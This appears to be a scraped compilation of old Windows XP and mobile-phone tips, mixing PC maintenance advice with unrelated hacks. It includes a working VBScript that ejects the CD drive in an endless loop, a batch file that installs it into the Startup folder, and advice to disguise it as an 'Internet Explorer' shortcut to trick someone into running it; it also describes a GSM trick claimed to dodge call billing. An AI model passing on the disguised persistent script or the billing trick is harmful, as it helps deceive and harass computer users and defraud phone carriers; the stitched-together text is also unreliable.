19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

CD drive hack

Here jai147 will show you a basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs part

set wmp = createObject("wmplayer.ocx.7")
set drives = wmp.cdromCollection

sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count - 1
drives.item(i).eject()
next
end if
loop
end sub

open_saysame()

now this is funny but what if it was even funnier. what if every time you started you r computer it loaded? that could make it even better... so open a new notepad document (blank) and insert this code into it NOTE: numbered to show which line it is.

1:)copy CDfun.vbs "c:\Documents and Settings\%username%\Start Menu\Programs\Startup\"
2:)CDfun.vbs

Save this as run.bat, now comes the fun part. all you need to do is get them to somehow open this run.bat. there are many ways. one way is to make a shortcut to it called "internet Explorer" and right click to change properties on icon. that way it will look just like Internet Explorer.

How to stop This Thing???
open
task Manager > processes> wscript.exe
right click on it > end process tree.

done

Rename start button in xp

To rename the start button, you will need a hex editor.
My preference is UltraEdit

Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:

Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe

Alarm Clock Menu

Go to MissedCall Empty the list Press the -> key for a second or two The option Menu size turns up Choose 'yes' and go from there.

An alarm clock turned up too but it never rang. I think this was because there is no clock in the phone.

Free phone calls using the GA628

This trick has only been reported working on PREPAID GSM CARDS and in some countries and with some sw versions.
The prepaid GSM SIM CARD is a kind of "SIM card" which only has a sertant amount of credit on it (like a normal phonebox telecard)... if it can be traced? - we don't know...

Well..here's the trick you dial the no. normally and press YES. While "connecting" is shown on the screen, the following procedure should be carried out: Press CLR then 0 then # and then NO (twice) so as to switch OFF the phone. You can then still speak on the phone while it is switched off but the SIM card does not record your calls which will lead to FREE phone calls in some countries.. we hope!!

Another variant of the code

Make a Call, while the phone says Connecting type 083# (the position 83 must be empty! ), when phone says Pos Emtpy, press the NO key and turn off the phone.

If you can make the call with the phone turned off you will face a problem when you need to hang up the phone...the only way for you to do that is remove the battery...???
